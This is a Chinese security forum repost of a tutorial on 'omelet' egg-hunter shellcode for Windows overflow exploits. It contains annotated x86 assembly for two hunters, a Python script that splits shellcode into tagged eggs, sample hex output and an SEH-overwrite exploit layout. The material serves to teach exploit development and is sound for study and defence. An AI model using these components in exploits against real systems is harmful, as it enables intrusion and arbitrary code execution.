安全矩阵

 找回密码
 立即注册
搜索
查看: 4524|回复: 0

[调试逆向] Shellcode分段执行技术原理

[复制链接]

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
发表于 2020-4-23 23:12:02 | 显示全部楼层 |阅读模式
原文链接:https://www.52pojie.cn/thread-84830-1-1.html

作者:riusksk(泉哥)
主页:http://riusksk.blogbus.com

前言
由于在实际溢出利用中,我们可能会遇到内存中没有足够的空间来存放我们的shellcode,但我们又可以控制多块小内存空间的内容,那些此时我们就可使用shellcode分段执行技术来进行利用,这种方法在国外被称为“Omelet Shellcode”,属于egg hunt shellcode的一种形式,它先在用户地址空间中寻找与其相匹配的各个小内存块(egg),然后再将其重构成一块大块的shellcode,最后执行它。此项技术最初是由荷兰著名黑客SkyLined在其主页上公布的(具体代码参见附件),该黑客先前就职于Microsoft,但于2008年初转入Google,同时他也是著名的字母数字型shellcode编码器Alpha2 / Alpha3的开发者。

原理分析
  将Shellcode拆分成固定大小的多个代码块,各个代码块中包含有其字节大小size,索引值index,标记marker(3 字节)和数据内容data,如图1所示:




当egghunter代码开始执行时,它会在用户内存空间中(0x00000000~0x80000000)搜索这些被标记的小块,然后在内存中重构成最初的shellcode并执行它。而当shellcode执行时,它还会安装SEH以处理访问违例时的情况。若出现访问违例,则SEH handler会将地址与0xFFF进行或运算,然后再加1,相当于进入下一内存页,以跳过不可读取的内存页。如果搜索的内存地址大于0x7FFFFFFF,那么终止搜索,并在内存中重构shellcode用于执行,否则重置栈空间,防止因递归进行异常处理而将栈空间耗尽,它会重新设置SEH handler并继续搜索内存。相应代码如下:


  1. reset_stack:
  2. ; 重置栈空间以防止递归进行异常处理时耗尽栈空间,并设置自己的异常处理例程以处理扫描内存时出现的访问违例情况
  3.     XOR     EAX, EAX                    ; EAX = 0,并作为计数器
  4.     MOV     ECX, [FS:EAX]               ; ECX = SEH结构链表
  5. find_last_SEH_loop:
  6.     MOV     ESP, ECX                    ; ESP = SEH结构
  7.     POP     ECX                         ; ECX = 下一个SEH结构指针
  8.     CMP     ECX, 0xFFFFFFFF             ; 判断是否是最后一个SEH结构
  9.     JNE     find_last_SEH_loop          ; 不是则跳走并继续查找
  10.     POP     EDX                         ; 最后一个SEH结构中的异常处理例程handler
  11.     CALL    create_SEH_handler          ; 自定义SEH handler

  12. SEH_handler:
  13.     POPA                                ; ESI = [ESP + 4] -> struct exception_info
  14.     LEA     ESP, [BYTE ESI+0x18]        ; ESP = struct exception_info->exception_address
  15.     POP     EAX                         ; EAX = exception address 0x????????
  16.     OR      AX, 0xFFF                   ; EAX = 0x?????FFF
  17.     INC     EAX                         ; EAX = 0x?????FFF + 1 -> next page
  18.     JS      done                        ; EAX > 0x7FFFFFFF ===> done
  19.     XCHG    EAX, EDI                    ; EDI => next page
  20.     JMP     reset_stack
复制代码


当从地址0x00000000开始搜索后,若找到以相匹配的egg_size开头的egg内存块,它会将接下的DWORD值与一个特殊值(3字节的标记值和1字节的0xFF)相异或,如果是我们要找的egg内存块,那么获取的结果会等于内存块的索引号(从0开始),比如第二块egg内存块的这个DWORD值为0xBADA55FE,那么它与0xBADA55FF相异或后值为1。如果不是相匹配的egg内存块,则继续搜索下一字节。对应的代码如下所示:


  1. create_SEH_handler:
  2.     PUSH    ECX                         ; 指向下一个SEH结构,这里为0xFFFFFFFF
  3.     MOV     [FS:EAX], ESP               ; 设置当前的SEH为自定义的SEH_handler
  4.     CLD                                 ; 清除方向标志位DF,从0开始扫描内存
  5. scan_loop:
  6.     MOV     AL, egg_size                ; EAX = egg_size
  7. egg_size_location equ $-1 - $
  8.     REPNE   SCASB                       ; 从地址0x00000000开始循环扫描以egg_size字节开头的内存块
  9.     PUSH    EAX                         ; 找到后保存egg_size
  10.     MOV     ESI, EDI                    ; ESI = 相匹配内存块的地址
  11.     LODSD                               ; EAX = II M2 M3 M4,索引值(1字节)与标记值(3字节)
  12.     XOR     EAX, (marker << 8) + 0xFF   ; EAX = (II M2 M3 M4) ^ (FF M2 M3 M4) == egg_index
  13. marker_bytes_location equ $-3 - $
  14.     CMP     EAX, BYTE max_index         ; 检测EAX值是否小于 max_index
  15. max_index_location equ $-1 - $
  16.     JA      reset_stack                 ; 不是则跳走并继续搜索内存
复制代码


找到egg内存块后,将内存块大小egg_size与索引值egg_index相乘可得到该内存块在原始shellcode中的偏移egg_offset,然后将它再加上存放shellcode的栈空间起始地址,最后得到绝对地址,并将该egg内存块复制到绝对地址上,直至所有的egg内存块全部复制到栈上,进而在栈上重构出完整的shellcode。其对应代码如下:

  1.      POP     ECX                         ; ECX = egg_size
  2.     IMUL    ECX                         ; EAX = egg_size * egg_index == egg_offset
  3.                                         ; 这里是有带符号相乘,由于ECX * EAX总小于0x1000000,所以EDX=0
  4.     ADD     EAX, [BYTE FS:EDX + 8]      ; EDI += Bottom of stack == position of egg in shellcode.
  5.     XCHG    EAX, EDI
  6. copy_loop:
  7.     REP     MOVSB                       ; 将匹配的内存块复制到栈空间以重构成完整的shellcode
  8.     MOV     EDI, ESI                    ; EDI指向当前匹配内存块的末尾,在拷贝完第一块内存块后继续搜索第二块,
  9.                                         ; 以此类推,直至所有的内存块全部搜索到并复制到栈上
  10. 最后就是跳到栈底去执行重构后的shellcode:
  11. done:
  12.     XOR     EAX, EAX                    ; EAX = 0
  13.     CALL    [BYTE FS:EAX + 8]           ; 从栈中shellcode的起始地址开始执行
复制代码



这样就完成了对各段egg内存块的搜索,并重构出完整shellcode来执行。
注意:由于此份代码只搜索0x00000000~0x80000000之间的用户内存空间,因此对于开启/3Gb(0x00000000~0xC000000)开关的系统并不适用,若应用在这样的系统上就可能会导致部分egg内存块未搜索到,以致无法正确地执行shellcode。
  在2010年8月,由Exploit编写系列教程的作者Peter Van Eeckhoutte编写的egg-to-omelet hunter程序在其博客上公布了(详细源码参见附件),此份程序对原先由SkyLined编写的omelet hunter进行了改进,提高其成功率和稳定性。此份程序先从当前栈桢的末尾 (0x....ffff) 开始搜索,为了避免出现NULL字节,又让egg内存块数量nr_egg加1,因此我们还可以让它与1相比较,然后去搜索保存在eax中的内存块标记tag,此标记类似这样:


  1. 773030<seq>
复制代码


这里seq = 1 + number_of_remaining_eggs_to_find + 1,比如你有3个egg内存块,那么各块egg对应的tag分别为 :


  1. Egg 1 : 77 30 30 05
  2. Egg 2 : 77 30 30 04
  3. Egg 3 : 77 30 30 03
复制代码


在搜索过程中,它通过调用NtAccessCheckAndAuditAlarm来判断是否出现访问违例,出错则重新搜索,否则就继续寻找各内存块标记tag,找到后通过rep movsb指令将其复制到edi指向的地址中,进而重组原始shellcode并进行执行。具体源码分析如下:


  1. BITS 32

  2. nr_eggs equ 0x2             ; egg内存块的数量
  3. egg_size equ 0x7b           ; 每一egg内存块占127字节

  4. jmp short start

  5. get_target_loc:
  6.                            
  7. push esp
  8. pop edi                        ; 将栈顶指针esp保存在edi中
  9.                            
  10. or di,0xffff                ; edi=0x....ffff,即当前栈桢的末尾
  11. mov edx,edi                 ; edx=搜索的起始地址
  12. xor eax,eax                 ; eax清零
  13. mov al,nr_eggs              ; eax = 内存块数量
  14. calc_target_loc:
  15. xor esi,esi                 ; esi=0,作为计数器
  16. mov si,0-(egg_size+20)      ; 为每一块egg内存块添加20字节的额外空间

  17. get_target_loc_loop:        
  18. dec edi                     ; 往回遍历搜索当前栈桢
  19. inc esi                     ; 递增计数器
  20. cmp si,-1                   ; 继续往回遍历直到ESI = -1
  21. jnz get_target_loc_loop
  22. dec eax                     ; 若未找到所有的内存块则跳走并继续循环,
  23. jnz calc_target_loc            ; 否则edi就指向了重组shellcode将保存的地址
  24. xor ebx,ebx                 ; ebx清零,作为计数器
  25. mov bl,nr_eggs+1            ; ebx = nr_eggs + 1,但为了避免出现NULL字节,
  26.                             ; 因此这里从1开始计数
  27. ret

  28. start:
  29. call get_target_loc         ; 计算出重组shellcode将保存的栈地址

  30. jmp short search_next_address
  31. find_egg:
  32. dec edx                     ; 由于下面搜索是以DWORD(4字节)为单位进行字节扫描的
  33. dec edx                        ; 因此这里需要edx-4
  34. dec edx
  35. dec edx
  36. search_next_address:
  37. inc edx                     ; 搜索下一字节
  38. push edx                    ; 保存edx
  39. push byte +0x02
  40. pop eax                     ; eax = 0x02,功能号,系统调用表可参考下列网址:
  41.                             ; http://www.metasploit.com/users/opcode/syscalls.html
  42. int 0x2e                    ; 调用NtAccessCheckAndAuditAlarm
  43. cmp al,0x5                  ; 判断是否访问违例(0xc0000005== ACCESS_VIOLATION)
  44. pop edx                     ; 重储edx
  45. je search_next_address      ; 如果地址不可读则跳走
  46. mov eax,0x77303001          ; 若可读则将索引值与标记值赋予eax
  47. add eax,ebx                 ; eax += ebx,这里ebx为egg内存块的计数器,
  48.                             ; 此时eax得到的就是各个内存块开头的标记marker,
  49.                             ; tag=773030<seq>,其中seq = 0x1 +  number_of_remaining_eggs_to_find + 0x1,
  50.                             ; 比如0x77303003,0x77303004……
  51.                            
  52. xchg edi,edx                ; 交换edi与edx的值
  53. scasd                       ; 搜索edi中是否存在eax中的标记
  54. xchg edi,edx                ; 将edi/edx的值再交换回来
  55. jnz find_egg                ; 若未找到相匹配的标记则跳走,否则edx指向找到的egg内存块

  56. copy_egg:
  57. mov esi,edx                 ; ESI = EDX,保存egg内存块地址到esi留作后用
  58. xor ecx,ecx                    ; ecx = 0
  59. mov cl,egg_size             ; 复制的字节数,相当于每一egg内存块大小
  60. rep movsb                   ; 从esi复制到edi
  61. dec ebx                     ; 递增ebx,ebx为内存块计数器
  62. cmp bl,1                    ; 判断是否找到所有的egg内存块
  63. jnz find_egg                ; 没有则继续搜索

  64. done:
  65. call get_target_loc         ; 重新定位重组后shellcode所在的地址
  66. jmp edi                     ; 执行shellcode
复制代码



以上分析的两份程序均是对各egg内存块进行搜索的egg-to-omelet hunter程序,SkyLined还提供了另一份代码用于将shellcode进行分段,构造出各段egg内存块数据,其文件名为w32_SEH_omelet.py,是用Python编写的。它主要是遵循SkyLined在w32_SEH_omelet.asm代码中所提到的算法进行计算,以获取各块egg中的字节大小size,索引值index,标记值marker(默认为0x280876),以及各egg中的部分shellcode代码,每块egg的大小是固定的(默认为127字节),不足的用'@'(0x40)填充。其核心代码如下:



  1. def Main(my_name, bin_file, shellcode_file, output_file, egg_size = '0x7F', marker_bytes = '0x280876'):
  2.   if (marker_bytes.startswith('0x')):        # 判断标记marker_bytes是否以0x开头
  3.     marker_bytes = int(marker_bytes[2:], 16)    # 以16为基数(十六进制)进行整数转换
  4.   else:
  5.     marker_bytes = int(marker_bytes)    # 以10为基数(十进制)进行整数转换
  6.   if (egg_size.startswith('0x')):
  7.     egg_size = int(egg_size[2:], 16)
  8.   else:
  9.     egg_size = int(egg_size)
  10.   assert marker_bytes <= 0xFFFFFF, 'Marker must fit into 3 bytes.'
  11.   assert egg_size >= 6, 'Eggs cannot be less than 6 bytes.'
  12.   assert egg_size <= 0x7F, 'Eggs cannot be more than 0x7F (127) bytes.'
  13.    
  14.   bin = open(bin_file).read()            # 读取bin_file文件,即负责搜索egg的bin文件
  15.   marker_bytes_location = ord(bin[-3])    # 标记值marker
  16.   max_index_location = ord(bin[-2])        # 索引值index
  17.   egg_size_location = ord(bin[-1])        # 各egg内存块所占的字节数
  18.   code = bin[:-3]                        # 用于存放分段后的部分shellcode代码

  19.   shellcode = open(shellcode_file).read()
  20.   
  21.   max_index = int(math.ceil(len(shellcode) / (egg_size - 5.0)))        # 计算出每块egg的最大索引值,并要求其必须<=0xFF
  22.   assert max_index <= 0xFF, ('The shellcode would require %X (%d) eggs of  %X '
  23.       '(%d) bytes, but 0xFF (255) is the maximum number of eggs.') % (
  24.       max_index, max_index, egg_size, egg_size)
  25.   
  26.   marker_bytes_string = ''
  27.   for i in range(0,3):
  28.     marker_bytes_string += chr(marker_bytes & 0xFF)        # 将标记值与0xFF进行与运算
  29.     marker_bytes >>= 8        # 右移8位,相当于将标记值转换成0x280876ff

  30.   max_index_string = chr(max_index)
  31.   egg_size_string = chr(egg_size - 5)    # 扣去字节大小(1字节),索引值(1字节)和标记(3字节)所占用的5字节
  32.   # insert variables into code
  33.   code = code[:marker_bytes_location] + marker_bytes_string + code[marker_bytes_location+3:]
  34.   code = code[:max_index_location] + max_index_string + code[max_index_location+1:]
  35.   code = code[:egg_size_location] + egg_size_string + code[egg_size_location+1:]
  36.   output = [
  37.     '// This is the binary code that needs to be executed to find the eggs, ',
  38.     '// recombine the orignal shellcode and execute it. It is %d bytes:' % (
  39.       len(code),),
  40.     'omelet_code = "%s";' % HexEncode(code),
  41.     '',
  42.     '// These are the eggs that need to be injected into the target process ',
  43.     '// for the omelet shellcode to be able to recreate the original shellcode',
  44.     '// (you can insert them as many times as you want, as long as each one is',
  45.     '// inserted at least once). They are %d bytes each:' % (egg_size,) ]
  46.   egg_index = 0
  47.   while shellcode:
  48.     egg = egg_size_string + chr(egg_index ^ 0xFF) + marker_bytes_string
  49.     egg += shellcode[:egg_size - 5]        # 构造出完整的egg内存块:size + index + marker + shellcode
  50.     if len(egg) < egg_size:
  51.       # tail end of shellcode is smaller than an egg: add pagging:
  52.       egg += '@' * (egg_size - len(egg))    # 每块egg的大小是固定的(默认为127字节),不足的用'@'(0x40)填充
  53.     output.append('egg%d = "%s";' % (egg_index, HexEncode(egg)))
  54.     shellcode = shellcode[egg_size - 5:]
  55.     egg_index += 1
  56.   open(output_file, 'w').write('\n'.join(output))    # 写入输出文件output_file
复制代码



使用方法
关于使用方法,其实很简单,使用命令如下:
  1. C:\Users\riusksk> w32_SEH_omelet.py  w32_SEH_omelet.bin  shellcode.bin  output.txt  127  0xBADA55
复制代码



它需要先生成两个bin文件,一个是shellcode.bin,还有一个用于egg搜索的w32_SEH_omelet.bin,这里用Peter Van Eeckhoutte编写的egg-to-omelet hunter程序来生成bin文件以代替w32_SEH_omelet.bin也是可以的。关于shellcode.bin,你可以先用metasploit先生成shellcode,然后用perl/python将shellcode写入一个bin文件即可;而w32_SEH_omelet.bin可直接用nasm去编译SkyLined的w32_SEH_omelet.asm或者Peter Van Eeckhoutte写的corelanc0d3r_omelet.asm从而得到此bin文件。Output.txt是输出文件,用来保存生成各个egg以及omelet代码,后面的127是每一块egg内存块的字节数,而0xBADA55是标记值,你也可采用其它3字节数据,比如w00(0x773030),最后生成的输出文件内容类似如下:


  1. // This is the binary code that needs to be executed to find the eggs,
  2. // recombine the orignal shellcode and execute it. It is 82 bytes:
  3. omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08";

  4. // These are the eggs that need to be injected into the target process
  5. // for the omelet shellcode to be able to recreate the original shellcode
  6. // (you can insert them as many times as you want, as long as each one is
  7. // inserted at least once). They are 127 bytes each:
  8. egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57";
  9. egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD";
  10. egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01";
复制代码


生成文件后我们就可以在实际漏洞利用中构造出类似下面这样的exploit:
【junk】【nseh(jmp 06)】【seh(pop pop ret)】【nops】【omelet_code】【junk】【egg0】【junk】【egg1】【junk】【egg2】
不过具体的实际漏洞利用还得受一些操作环境影响,得视具体情况进行变化,同时还需要一点运气!

结语
  本文就Omelet Shellcode进行简单地分析,阐述了shellcode分段执行技术的基本原理,并对其使用进行简单的讲解,以帮助大家更好地理解并应用好Omelet Shellcode。在本文是笔者只是起到了一个抛砖引玉的作用,关于shellcode的编写还有很多技术性,同时也需要一定的艺术性,这些都需要靠大家共同来打造和分享,如果你有更多关于这方面的资料和技术,希望可以跟我分享。     

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:33 , Processed in 0.014827 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表